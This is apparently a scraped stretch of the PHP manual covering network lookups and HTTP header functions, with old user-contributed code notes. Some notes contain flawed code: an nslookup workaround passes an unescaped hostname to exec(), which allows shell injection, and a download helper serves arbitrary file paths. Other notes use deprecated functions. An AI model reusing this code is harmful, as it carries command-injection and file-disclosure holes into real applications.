         for($ic=1;$ic<=$this->ANCOUNT;$ic++)
         {
           $QTYPE = ord($this->gdi($this->cIx));
           if($QTYPE!==15){print("[MX Record not returned]"); die();}
           $this->cIx+=9;
           $mxPref = ord($this->gdi($this->cIx));
           $this->parse_data($curmx);
           $this->arrMX[] = array("MX_Pref" => $mxPref, "MX" => $curmx);
           $this->cIx+=3;
         }
      }

      function parse_data(&$retval)
      {
        $arName = array();
        $byte = ord($this->gdi($this->cIx));
        while($byte!==0)
        {
          if($byte==192) //compressed
          {
            $tmpIx = $this->cIx;
            $this->cIx = ord($this->gdi($cIx));
            $tmpName = $retval;
            $this->parse_data($tmpName);
            $retval=$retval.".".$tmpName;
            $this->cIx = $tmpIx+1;
            return;
          }
          $retval="";
          $bCount = $byte;
          for($b=0;$b<$bCount;$b++)
          {
            $retval .= $this->gdi($this->cIx);
          }
          $arName[]=$retval;
         $byte = ord($this->gdi($this->cIx));
       }
       $retval=join(".",$arName);
     }

     function gdi(&$cIx,$bytes=1)
     {
       $this->cIx++;
       return(substr($this->dns_reply, $this->cIx-1, $bytes));
     }

      function QNAME($domain)
      {
        $dot_pos = 0; $temp = "";
        while($dot_pos=strpos($domain,"."))
        {
          $temp   = substr($domain,0,$dot_pos);
          $domain = substr($domain,$dot_pos+1);
          $this->QNAME .= chr(strlen($temp)).$temp;
        }
        $this->QNAME .= chr(strlen($domain)).$domain.chr(0);
      }

      function gord($ln=1)
      {
        $reply="";
        for($i=0;$i<$ln;$i++){
         $reply.=ord(substr($this->dns_reply,$this->cIx,1));
         $this->cIx++;
         }

        return $reply;
      }

      function pack_dns_packet()
      {
        $this->dns_packet = chr(0).chr(1).
                            chr(1).chr(0).
                            chr(0).chr(1).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            $this->QNAME.
                            chr(0).chr(15).
                            chr(0).chr(1);
      }

}

?>

<?php

/* Exampe of use: */
$mx = new mxlookup("php.net");

print $mx->ANCOUNT." MX Records\n";
print "Records returned for ".$mx->dns_repl_domain.":\n<pre>";
print_r($mx->arrMX);

?>

Return:

02 MX Records Records returned for php.net:

Array
(
    [0] => Array
        (
            [MX_Pref] => 15
            [MX] => smtp.osuosl.org
        )

    [1] => Array
        (
            [MX_Pref] => 5
            [MX] => osu1.php.net
        )

)
rolf at rowi dot net 21-Jan-2005 06:36
Be aware that not just user@example.com ist a valid address, also user@subnet.example.com is valid (but maybe less common). Just got into trouble with this check...

Rolf
siclawrence at gmail dot com 04-Jan-2005 06:43
This code replicates online tools that let you check if an email address is valid. First it checks if the email format is correct, then looks up and prints the mx records. All nicely formatted with fancy words that in the end prints whether the email address valid or invalid.

<?php
$email = "email@domain.com";

print("Checking: $email<br>");

if (eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)+$", $email)) {

    print("Format Test: PASSED<br>");
    print("Online host verification Test...<br><br>");
    print("MX Records for: $email<br>");

    list($alias, $domain) = split("@", $email);

    if (checkdnsrr($domain, "MX")) {

        getmxrr($domain, $mxhosts);

        foreach($mxhosts as $mxKey => $mxValue){
            print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mxValue<br>");
        }

        print("Online host verification Test: PASSED<br><br>");
        print("Email Status: VALID");

    } else {

        print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No records found.<br>");
        print("Online host verification Test: FAILED<br><br>");
        print("Email Status: INVALID");

    }

} else {

    print("Format Test: FAILED<br><br>");
    print("Invalid email address provided.<br><br>");
    print("Email Status: INVALID");

}
?>
zorlac_man at hotmail dot com 14-May-2004 12:15
For some reason this and the other DNS lookup functions seem to be really slow on my Linux box. I've checked several things and have no explanation.

As a work-around, I gave in and just used a system call to dig:

<?php
CheckMX("fakedomain.org");
CheckMX("hotmail.com");

function CheckMX($domain) {
        exec("dig +short MX " . escapeshellarg($domain),$ips);
        if($ips[0] == "") {
                print "MX record found for $domain not found!\n";
                return FALSE;
        }
        print "MX Record for $domain found\n";
        return TRUE;
}
?>

Output:

MX record found for fakedomain.org not found!
MX Record for hotmail.com found

As someone else pointed out, it is prudent to check to see if the TLD has an IP address if the MX record is not found.
ng4rrjanbiah at rediffmail dot com 26-Feb-2004 03:11
Here is a better workaround for Windows platform. Tested on Windows XP. Highly impressed by "geoffbrisbine A T y a h o o DOT c o m"'s idea of nslookup usage.

<?php
function getmxrr($hostname, &$mxhosts)
{
   $mxhosts = array();
   exec('nslookup -type=mx '.$hostname, $result_arr);
   foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
   return( count($mxhosts) > 0 );
}//--End of workaround

//test..
echo getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

HTH,
R. Rajesh Jeba Anbiah
geoffbrisbine A T y a h o o DOT c o m 24-Sep-2002 09:39
I was pretty disappointed that the Win32 build of PHP doesn't incorporate getmxrr so, since I'm a naive newbie, I decided to hack together my own (and I stress hack).  This has been tested on Win 2000 and Win XP.  There's no reason this shouldn't work on Win NT but it will not work on Win 9x (you need the nslookup command).  It will finish with the array $mx that will be a multidimensional array with the MX preference, host name and ip address. You can do a print_r ( $mx ) to see what it looks like.

-----------------------------------------------

<?php
$command = "nslookup -type=mx yahoo.com";
exec ( $command, $result );

$i = 0;
while ( list ( $key, $value ) = each ( $result ) ) {
    if ( strstr ( $value, "mail exchanger" ) ) { $nslookup[$i] = $value; $i++; }
}

while ( list ( $key, $value ) = each ( $nslookup ) ) {
    $temp = explode ( " ", $value );
    $mx[$key][0] = $temp[3];
    $mx[$key][1] = $temp[7];
    $mx[$key][2] = gethostbyname ( $temp[7] );
}

    array_multisort ( $mx );
?>
paul at start dot co dot uk 16-Jan-2001 12:48
Prevent your dns server from 'creating' a valid host name by appending the local domain to incomplete emails by appending to the domain a  trailing . both in the pattern match and mx checks:

<?php
if (eregi("^[0-9a-z_]([-_.]?[0-9a-z])*@[0-9a-z][-.0-9a-z]*\\.[a-z]{2,3}[.]?$", $string, $check)) {
    $host = substr(strstr($check[0], '@'), 1).".";
    if ( getmxrr($host, $validate_email_temp) )
        return TRUE;
    // THIS WILL CATCH DNSs THAT ARE NOT MX.
    if(checkdnsrr($host,"ANY"))
        return TRUE;
}
?>
gethostname
getprotobyname
Network Functions


Get protocol number associated with protocol name

getmxrr
getprotobynumber
Network Functions
PHP Manual

getprotobyname

(PHP 4, PHP 5)

getprotobyname — Get protocol number associated with protocol name

Description

int getprotobyname ( string $name )

getprotobyname() returns the protocol number associated with the protocol name as per /etc/protocols.

Parameters

name

The protocol name.

Return Values

Returns the protocol number, or FALSE on failure.

Examples

Example #1 getprotobyname() example

<?php
$protocol = 'tcp';
$get_prot = getprotobyname($protocol);
if ($get_prot === FALSE) {
    echo 'Invalid Protocol';
} else {
    echo 'Protocol #' . $get_prot;
}
?>

See Also

  • getprotobynumber() - Get protocol name associated with protocol number

User Contributed Notes

Vipindas K.S 08-May-2008 08:33
getprotobyname()
=====================

getprotobyname() gives the protocol number for the given protocol name on the local system.
If the protocol is not recognized, then the function returns -1.
The given code snippet gives the list of protocols along with their protocol numbers
<?
$arr=array("ip","icmp","ggp","tcp",
"egp","pup","udp","hmp","xns-idp",
"rdp","rvd" );
//Reads the names of protocols into an array..
for($i=0;$i<11;$i++)
{
$proname=$arr[$i];
echo $proname .":", getprotobyname ($proname)."<br />";
}

?>
getmxrr
getprotobynumber
Network Functions


Get protocol name associated with protocol number

getprotobyname
getservbyname
Network Functions
PHP Manual

getprotobynumber

(PHP 4, PHP 5)

getprotobynumber — Get protocol name associated with protocol number

Description

string getprotobynumber ( int $number )

getprotobynumber() returns the protocol name associated with protocol number as per /etc/protocols.

Parameters

number

The protocol number.

Return Values

Returns the protocol name as a string, or FALSE on failure.

See Also

  • getprotobyname() - Get protocol number associated with protocol name

User Contributed Notes

recycling dot sp dot am at gmail dot com 13-Sep-2010 03:40
Note that by the time of writing this note (5.3.3), there seems to be only two defined constants for the protocol numbers: SOL_UDP and SOL_TCP.
For all other protocols (like ICMP,... ) you'll have to provide the exact number (EG: 1 for ICMP, ... )
<?php
    echo getprotobynumber(SOL_TCP) . "\n"; // prints tcp
    echo getprotobynumber(SOL_UDP) . "\n"; // prints udp
    var_dump(getprotobyname('tcp') == SOL_TCP); // bool(true)
    var_dump(getprotobyname('udp') == SOL_UDP); // bool(true)
?>
On a UNIX system (don't know if this is true for Windows), the php functions getprotobyname and getprotobynumber are just wrapper for their corresponding system calls. These functions returns the protocol name or protocol number based on the definition from IANA. If you are looking for a protocol and you don't know its number, you can find the exact protocol number here: http://www.iana.org/assignments/protocol-numbers
Vipindas K.S 08-May-2008 08:39
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system. If the protocol number is not recognized,the function returns FALSE.The given code snippet gives the list of protocols along with their protocol numbers

<?
$format = "%6s %s\n<br />";
for ($number = 0; $number < 255; $number++)
 {
   if (getprotobynumber ($number))

      printf ($format, " $number-->", getprotobynumber ($number));
 }

?>

OUTPUT:

0--> ip
1--> icmp
3--> ggp
6--> tcp
8--> egp
12--> pup
17--> udp
20--> hmp
22--> xns-idp
27--> rdp
66--> rvd
getprotobyname
getservbyname
Network Functions


Get port number associated with an Internet service and protocol

getprotobynumber
getservbyport
Network Functions
PHP Manual

getservbyname

(PHP 4, PHP 5)

getservbyname — Get port number associated with an Internet service and protocol

Description

int getservbyname ( string $service , string $protocol )

getservbyname() returns the Internet port which corresponds to service for the specified protocol as per /etc/services.

Parameters

service

The Internet service name, as a string.

protocol

protocol is either "tcp" or "udp" (in lowercase).

Return Values

Returns the port number, or FALSE if service or protocol is not found.

Examples

Example #1 getservbyname() example

<?php
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap',
'smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');

foreach ($services as $service) {
    $port = getservbyname($service, 'tcp');
    echo $service . ": " . $port . "<br />\n";
}
?>

See Also

  • getservbyport() - Get Internet service which corresponds to port and protocol
  • » http://www.iana.org/assignments/port-numbers for a complete list of port numbers.

User Contributed Notes

There are no user contributed notes for this page.
getprotobynumber
getservbyport
Network Functions


Get Internet service which corresponds to port and protocol

getservbyname
header_register_callback
Network Functions
PHP Manual

getservbyport

(PHP 4, PHP 5)

getservbyport — Get Internet service which corresponds to port and protocol

Description

string getservbyport ( int $port , string $protocol )

getservbyport() returns the Internet service associated with port for the specified protocol as per /etc/services.

Parameters

port

The port number.

protocol

protocol is either "tcp" or "udp" (in lowercase).

Return Values

Returns the Internet service name as a string.

See Also

  • getservbyname() - Get port number associated with an Internet service and protocol

User Contributed Notes

q9603062 at topaz dot cqu dot edu dot au 16-Jan-2001 02:28
Like the previous post of palands, the protcol tcp must be in lower case, either quoted or unquoted..

Example:
$value=getservbyport(31337, "tcp");

Uppercase will not work.
paland at stetson dot edu 29-Nov-2000 04:00
Example:
<?php $value = getservbyport(137, "udp"); ?>

The same goes for getservbyname()
getservbyname
header_register_callback
Network Functions


Call a header function

getservbyport
header_remove
Network Functions
PHP Manual

header_register_callback

(No version information available, might only be in SVN)

header_register_callback — Call a header function

Description

bool header_register_callback ( callback $callback )

Registers a function that will be called when PHP starts sending output.

The callback is executed just after PHP prepares all headers to be sent, and before any other output is sent, creating a window to manipulate the outgoing headers before being sent.

Parameters

callback

Function called just before the headers are sent. It gets no parameters and the return value is ignored.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 header_register_callback() example

<?php

header('Content-Type: text/plain');
header('X-Test: foo');

function foo() {
 foreach (headers_list() as $header) {
   if (strpos($header, 'X-Powered-By:') !== false) {
     header_remove('X-Powered-By');
   }
   header_remove('X-Test');
 }
}

$result = header_register_callback('foo');
echo "a";
?>

The above example will output something similar to:

Content-Type: text/plain

a

Notes

header_register_callback() is executed just as the headers are about to be sent out, so any output from this function can break output.

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

See Also

  • headers_list() - Returns a list of response headers sent (or ready to send)
  • header_remove() - Remove previously set headers
  • header() - Send a raw HTTP header

User Contributed Notes

There are no user contributed notes for this page.
getservbyport
header_remove
Network Functions


Remove previously set headers

header_register_callback
header
Network Functions
PHP Manual

header_remove

(PHP 5 >= 5.3.0)

header_remove — Remove previously set headers

Description

void header_remove ([ string $name ] )

Removes an HTTP header previously set using header().

Parameters

name

The header name to be removed.

Note: This parameter is case-insensitive.

Return Values

No value is returned.

Examples

Example #1 Unsetting specific header.

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove("X-Foo");
?>

The above example will output something similar to:

X-Bar: Baz

Example #2 Unsetting all previously set headers.

<?php
header("X-Foo: Bar");
header("X-Bar: Baz");
header_remove();
?>

The above example will output something similar to:

Notes

Caution

    This function will remove all headers set by PHP,
    including cookies, session and the X-Powered-By headers.

Note:

    Headers will only be accessible and output when a SAPI that supports them
    is in use.

See Also

  • header() - Send a raw HTTP header
    •

  • headers_sent() - Checks if or where headers have been sent
    •

User Contributed Notes

   Saeed Khamseh
   24-Feb-2011 11:53

if you want to remove header information about php version (x-powered-by), you can use:

header_remove('x-powered-by');

alternatively, if you don't have php 5.3 installed, you can do the same thing using "header" command:

header('x-powered-by:');

don't forget the ':' character at the end of the string!

   rwagener11 at gmail dot com
   07-Jul-2010 03:16

FYI:  This function does not support an array or multiple entries

header_remove(array("X-Powered-By","Expires")); // doesn't work

header_remove("X-Powered-By","Expires"); // doesn't work

Spent the time verifying if it was similar to the unset() command which allows.

unset($a,$b);

header_register_callback

header

Network Functions


Send a raw HTTP header

header_remove
headers_list
Network Functions
PHP Manual

header

(PHP 4, PHP 5)

header — Send a raw HTTP header

Description

void header ( string $string [, bool $replace = true [, int $http_response_code ]] )

header() is used to send a raw HTTP header. See the » HTTP/1.1 specification for more information on HTTP headers.

Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file.

<html>
<?php
/* This will give an error. Note the output
 * above, which is before the header() call */
header('Location: http://www.example.com/');
?>

Parameters

string

The header string.

There are two special-case header calls. The first is a header that starts with the string "HTTP/" (case is not significant), which will be used to figure out the HTTP status code to send. For example, if you have configured Apache to use a PHP script to handle requests for missing files (using the ErrorDocument directive), you may want to make sure that your script generates the proper status code.

<?php
header("HTTP/1.0 404 Not Found");
?>

For FastCGI you must use the following for a 404 response:

<?php
header("Status: 404 Not Found");
?>

The second special case is the "Location:" header. Not only does it send this header back to the browser, but it also returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set.

<?php
header("Location: http://www.example.com/"); /* Redirect browser */

/* Make sure that code below does not get executed when we redirect. */
exit;
?>

replace

The optional replace parameter indicates whether the header should replace a previous similar header, or add a second header of the same type. By default it will replace, but if you pass in FALSE as the second argument you can force multiple headers of the same type. For example:

<?php
header('WWW-Authenticate: Negotiate');
header('WWW-Authenticate: NTLM', false);
?>

http_response_code

Forces the HTTP response code to the specified value. Note that this parameter only has an effect if the string is not empty.

Return Values

No value is returned.

Changelog

Version | Description
4.4.2 and 5.1.2 | This function now prevents more than one header to be sent at once as a protection against header injection attacks.
4.3.0 | The http_response_code parameter was added.
4.0.4 | The replace parameter was added.

Examples

Example #1 Download dialog

If you want the user to be prompted to save the data you are sending, such as a generated PDF file, you can use the » Content-Disposition header to supply a recommended filename and force the browser to display the save dialog.

<?php
// We'll be outputting a PDF
header('Content-type: application/pdf');

// It will be called downloaded.pdf
header('Content-Disposition: attachment; filename="downloaded.pdf"');

// The PDF source is in original.pdf
readfile('original.pdf');
?>

Example #2 Caching directives

PHP scripts often generate dynamic content that must not be cached by the client browser or any proxy caches between the server and the client browser. Many proxies and clients can be forced to disable caching with:

<?php
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
?>

Note:

You may find that your pages aren't cached even if you don't output all of the headers above. There are a number of options that users may be able to set for their browser that change its default caching behavior. By sending the headers above, you should override any settings that may otherwise cause the output of your script to be cached.

Additionally, session_cache_limiter() and the session.cache_limiter configuration setting can be used to automatically generate the correct caching-related headers when sessions are being used.

Notes

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

Note:

You can use output buffering to get around this problem, with the overhead of all of your output to the browser being buffered in the server until you send it. You can do this by calling ob_start() and ob_end_flush() in your script, or setting the output_buffering configuration directive on in your php.ini or server configuration files.

Note:

The HTTP status header line will always be the first sent to the client, regardless of the actual header() call being the first or not. The status may be overridden by calling header() with a new status line at any time unless the HTTP headers have already been sent.

Note:

There is a bug in Microsoft Internet Explorer 4.01 that prevents this from working. There is no workaround. There is also a bug in Microsoft Internet Explorer 5.5 that interferes with this, which can be resolved by upgrading to Service Pack 2 or later.

Note: If safe mode is enabled the uid of the script is added to the realm part of the WWW-Authenticate header if you set this header (used for HTTP Authentication).

Note:

HTTP/1.1 requires an absolute URI as argument to » Location: including the scheme, hostname and absolute path, but some clients accept relative URIs. You can usually use $_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF'] and dirname() to make an absolute URI from a relative one yourself:

<?php
/* Redirect to a different page in the current directory that was requested */
$host  = $_SERVER['HTTP_HOST'];
$uri   = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
$extra = 'mypage.php';
header("Location: http://$host$uri/$extra");
exit;
?>

Note:

Session ID is not passed with Location header even if session.use_trans_sid is enabled. It must by passed manually using SID constant.

See Also

  • headers_sent() - Checks if or where headers have been sent
  • setcookie() - Send a cookie
  • The section on HTTP authentication

User Contributed Notes

lava 02-Jan-2012 01:22
I often see the Content-Transfer-Encoding header in user-provided examples. It should be noted that this is a MIME header and is not actually used in HTTP, which uses Transfer-Encoding and Content-Encoding instead (see http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11 and http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.41). For example, the HTTP equivalent to the MIME header 'Content-Transfer-Encoding: binary' is 'Content-Encoding: identity'.
Keep that in mind when sending headers.
Anonymous 14-Oct-2011 12:58
If your header directive is not working, notice that there should be no space between the HTTP header name and the colon (:).

Correct :
header("Location: http://www.example.com) ;

Incorrect but fails without any notice :
header("Location : http://www.example.com) ;
Since there is no "Location :" HTTP header, it is just left out in the HTTP response.
filip dot rydlo at email dot cz 13-Oct-2011 07:10
// Just a quick note to this header() function *today*, as of 2011-10-13:
// Latest Firefox (7.01) suddenly  will *NOT* let users download file  WHEN there is some extra character after the Content-type  header !! So be CAREFUL!

// for example:  ";" and space... like this:

header("Content-type: application/octet-stream; ");

// THIS IS NO LONGER OPERATIONAL in Firefox 7.01!  Be warned! - some pages STOPPED working - in terms of letting download attachments / files !
(in Firefox 6.02 it works, in IE8 and others  it also still works... but it may change in the future!)
audvare at gmail dot com 25-May-2011 11:36
Hide away your environment information (if you cannot do this at server level):

<?php
header('Server: ');
header('X-Powered-By: ');
?>

Why? Attackers are ALWAYS looking for servers with old versions running to exploit unpatched vulnerabilities. Now let's see what a typical server says:

Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_fcgid/2.3.5 Phusion_Passenger/2.2.15 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

I have so much information from this it's incredible.
Apache 2.2.17 on a Unix-style distro (instead of Windows)
mod_ssl 2.2.17
OpenSSL 0.9.8, and guess what rhel5 means? Red Hat

Overall, WAY too much information. Why not just 'Server: Apache'?

So what do I do if I'm an attacker? I have already scanned this information to find it like usual and now I just have to find exploits on sites like http://seclists.org/ or if I have already have something usable I can use it. Not only that, but often:
X-Powered-By: PHP/5.2.17
might show up. Now all I have to do is search for vulnerabilities in that PHP EXACT version which was given to me. Execute code remotely, get the information I need, then break in and do whatever I like with the target once an exploit succeeds.

(Note the above is completely theoretical.)

X-Powered-By is sometimes sent by mod_php. It seems to always be over-ridable. It is not sent by PHP-FPM.

The Server header is of course, sent by almost every server. What is strange is that Apache and many distros decide to display everything about their environment by default. Don't get why. There are no issues if Server or X-Powered-By is not present in any browser. Generally speaking, no other end should need to know what the server is running, ever.

With nginx, the Server header can be overriden by PHP probably because PHP is handled by a separate process and is AFTER nginx has prepared its header (which is usually simply nginx/<version>). You can turn off version number displaying with 'server_tokens off' in your nginx configuration. This will result in 'Server: nginx' as your header.

With Apache, it doesn't seem to be overridable with mod_php. Perhaps it's overridable with FastCGI but I have not tested.

Also, I have not tested lighttpd.
krzysztof at wildfire dot pl 12-May-2011 02:24
I found a lot of problems with downloading file in IE.

You might use my code to download files:

<?php
if(ini_get('zlib.output_compression'))
  ini_set('zlib.output_compression', 'Off');
if (file_exists($file)) {
  if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
    header("Content-Type: application/force-download");
    header('Content-Description: File Transfer');
  }
  readfile($file);
}
exit;
?>
Bharath Gandhi 22-Apr-2011 03:33
I wanted to redirect my page, after displaying a status result from feedback form submit click, to the home page of the website. I tried displaying the status message for 'n' seconds, before redirecting to the homepage, using the 'sleep()' function but I was stuck with the header ("Location=$url") command, as it always returned the message "headers already sent", after displaying the status message, and the page was stuck there.

using 'url' instead of 'location' along with the 'refresh' parameter, instead of 'sleep()' function, worked for me in this case.

<?php
  header( "refresh:5;url=wherever.php" );
  echo 'You\'ll be redirected in about 5 secs. If not, click <a href="wherever.php">here</a>.';
?>
jphansen at uga dot edu 18-Apr-2011 08:47
When using header(Location:), if you have the same site that you use which has different URIs, for example:

www.example.com/a/mysite
www.example.net

you must remain consistent in how you reference it, or $_SESSION[] contents will be lost.

An example would be a user enters www.example.com/a/mysite, then based on some decision they make, you want to header(Location:) them to another page. If you header(Location: http://www.example.net/page.php), $_SESSION[] will be lost.

I solved this by forwarding them to a particular URI before I start saving $_SESSION[] variables:

<?php
if (strpos($_SERVER['REQUEST_URI'], "/a/mysite/") !== false)
    header('Location: http://www.example.net');
?>
polo at polosson dot com 12-Apr-2011 08:17
It seems that Internet Explorer can not execute an @ before the function 'header ("location: $ page")' (to ignore it if the contained variable is not defined). At launch, IE loads the page indefinitely, without displaying anything (not even an error message) as if there were an infinite loop of redirection.
However, Firefox supports this escape character and passes through the 'header()' without running it, and everything goes well. I am not able to explain why, but I wanted to say that in order to help those like me who have lost a lot of time with this problem!

Example:
My original code was :

<?php
      @header("Location: $redirection") ;
?>

and to make it work with Internet Explorer, I had to replace it with :

<?php
     if (isset($redirection)) {
          header("Location: $redirection") ;
     }
?>

Sincerely,
. Polosson
richardphilip at linkcsik dot net 28-Mar-2011 01:44
Hi there,

I see lots of you have difficulties with utf-8 and BOM.
Some of the respected HTML editors have problem with it...
If your files are in utf-8 for wathever reason and you can switch of insert BOM, most of time if the file reloaded into the editor it changes it's character coding even with the newest tools (2011).
The first thing is ("headers already sent") almost every time, you can notice this. (Even when you didn't give any visible output, before the headers.) But if you change character encoding, your project could be a mess espedcially if you prints out characters outside the english alphabet like ű ő ú and such...

I had a hard time figure out, how can keep the utf-8 after reopen the file and edit it if I don't include BOM in it.

The solution is soo simple.
Every module which is included or not I allways write a special character in comment. something like: //ű.
or in the html section: print "<!--ű-->";

in this way you absolutely not have to include bom and yet, your files will be encoded in utf-8.
(If your editor gives you an opportunity to change the encoding, then you are good to go.)
ben at netsup-spa@m-portchat dot com 18-Feb-2011 07:58
Doh!  I kept getting the "headers already sent" error message on a header("Location: .....") call.  I checked, re-checked, and re-checked and the scripts nor the files it included had any output - no trailing whitespace, nothing.  I was stumped for quite some time and then realized I had used:

<?php
header("Something Else");
flush(); // !!!!
?>

In one of the includes.  Obviously, when you flush() for the first time it must complete sending the headers, so you can't make any more header() calls!
phpnet at holodyn dot com 31-Jan-2011 01:01
I've written this function so many times, but every time I find a new problem - this one is working in all browsers.

<?php
function downloadFile( $fullPath ){

  // Must be fresh start
  if( headers_sent() )
    die('Headers Sent');

  // Required for some browsers
  if(ini_get('zlib.output_compression'))
    ini_set('zlib.output_compression', 'Off');

  // File Exists?
  if( file_exists($fullPath) ){

    // Parse Info / Get Extension
    $fsize = filesize($fullPath);
    $path_parts = pathinfo($fullPath);
    $ext = strtolower($path_parts["extension"]);

    // Determine Content Type
    switch ($ext) {
      case "pdf": $ctype="application/pdf"; break;
      case "exe": $ctype="application/octet-stream"; break;
      case "zip": $ctype="application/zip"; break;
      case "doc": $ctype="application/msword"; break;
      case "xls": $ctype="application/vnd.ms-excel"; break;
      case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
      case "gif": $ctype="image/gif"; break;
      case "png": $ctype="image/png"; break;
      case "jpeg":
      case "jpg": $ctype="image/jpg"; break;
      default: $ctype="application/force-download";
    }

    header("Pragma: public"); // required
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: private",false); // required for certain browsers
    header("Content-Type: $ctype");
    header("Content-Disposition: attachment; filename=\"".basename($fullPath)."\";" );
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: ".$fsize);
    ob_clean();
    flush();
    readfile( $fullPath );

  } else
    die('File Not Found');

}
?>
cedric at gn dot apc dot org 22-Jan-2011 11:47
Setting a Location header "returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set".  If you are sending a response to a POST request, you might want to look at RFC 2616 sections 10.3.3 and 10.3.4.   It is suggested that if you want the browser to immediately GET the resource in the Location header in this circumstance, you should use a 303 status code not the 302 (with the same link as hypertext in the body for very old browsers).  This may have (rare) consequences as mentioned in bug 42969.
anthon at piwik dot org 03-Jan-2011 08:24
I see a couple of notes where multiple Content-Type headers are sent.  Don't do that.

RFC2616 only presents two scenarios for multiple Content-Type headers in a response:

   1. a "300 Multiple Choice" status for agent-drive negotiation, or
   2. a response containing multi-part content.

Note also that multiple Content-Type headers reportedly breaks FastCGI.
giacomo at dove_vuoi_tu.com 27-Dec-2010 01:45
For avoiding double prompt when choose open (not save)
    header('Content-Type: application/download');
    header('Content-Disposition: filename=dati.txt');
vedran-b at email dot htnet dot hr 05-Oct-2010 05:49
As known redirecting to a page inside your domain with header() does not pass along $_session variables.
Strange thing is that it is client dependant.
sometimes as stated session_write_close() before using header helps.

I've noticed that if the redirect doesn't point to the full URL of the page e.g.
"Location: example.com/page2.php"
but instead to
"Location: /page2.php"

The session does get perserved with no need to append data manually to the url.
Cody G. 01-Aug-2010 09:53
After lots of research and testing, I'd like to share my findings about my problems with Internet Explorer and file downloads.

  Take a look at this code, which replicates the normal download of a Javascript:

<?php
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Content-type: text/javascript");
  header("Content-Disposition: inline; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 } else {
  header("Content-type: application/force-download");
  header("Content-Disposition: attachment; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 }
 header("Expires: Fri, 01 Jan 2010 05:00:00 GMT");
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Cache-Control: no-cache");
  header("Pragma: no-cache");
 }
 include("my-file.js");
?>

Now let me explain:

  I start out by checking for IE, then if not IE, I set Content-type (case-sensitive) to JS and set Content-Disposition (every header is case-sensitive from now on) to inline, because most browsers outside of IE like to display JS inline. (User may change settings). The Content-Length header is required by some browsers to activate download box. Then, if it is IE, the "application/force-download" Content-type is sometimes required to show the download box. Use this if you don't want your PDF to display in the browser (in IE). I use it here to make sure the box opens. Anyway, I set the Content-Disposition to attachment because I already know that the box will appear. Then I have the Content-Length again.

  Now, here's my big point. I have the Cache-Control and Pragma headers sent only if not IE. THESE HEADERS WILL PREVENT DOWNLOAD ON IE!!! Only use the Expires header, after all, it will require the file to be downloaded again the next time. This is not a bug! IE stores downloads in the Temporary Internet Files folder until the download is complete. I know this because once I downloaded a huge file to My Documents, but the Download Dialog box put it in the Temp folder and moved it at the end. Just think about it. If IE requires the file to be downloaded to the Temp folder, setting the Cache-Control and Pragma headers will cause an error!

I hope this saves someone some time!
~Cody G.
marcel dot glacki at stud dot fh-swf dot de 01-Apr-2010 06:37
Several times this one is asked on the net but an answer could not be found in the docs on php.net ...

If you want to redirect an user and tell him he will be redirected, e. g. "You will be redirected in about 5 secs. If not, click here." you cannot use header( 'Location: ...' ) as you can't sent any output before the headers are sent.

So, either you have to use the HTML meta refresh thingy or you use the following:

<?php
  header( "refresh:5;url=wherever.php" );
  echo 'You\'ll be redirected in about 5 secs. If not, click <a href="wherever.php">here</a>.';
?>

Hth someone
xxxbunker dot com 28-Mar-2010 10:32
there are times when one would want to output a html status 500 'mid response'.

i wasn't able to get a clear answer weather sending a (be it incomplete) body with a 500 is proper, but what i found works nicely (assuming you are using output buffering, and haven't flushed the buffer before requiring a 500):

a) ..... some of the document body is buffered .....
b) ..... something happens that merits a html status 500 .....
c) ob_end_clean() - this will basically purge whatever document body is in the buffer 'to this point'
d) use header('.... to display the html status 500.
e) die();

what you are left with, is a html status 500, with no body.

nice and clean, just the way we like it :)
SDPhantom 23-Mar-2010 01:41
Also note, if you add a header line in addition to supply a status code in the same call, it will do both.

Example:
<?php header('WWW-Authenticate: Basic realm="My Realm"',true,401); ?>

Will output both:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="My Realm"
xxxbunker dot com 27-Feb-2010 12:58
we use 204's extensively.

after doing some spring cleanup, we found out (as many others might have), that even tho you header('204..., the user agent will wait until the content-length header is received. which, at least via apache 2 (others probably) is not sent until the script has completed executing completely.

so, after doing some testing:

HTTP/1.0 204 No Content
Date: Sat, 27 Feb 2010 08:23:49 GMT
Server: Apache
Content-Length: 0
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html

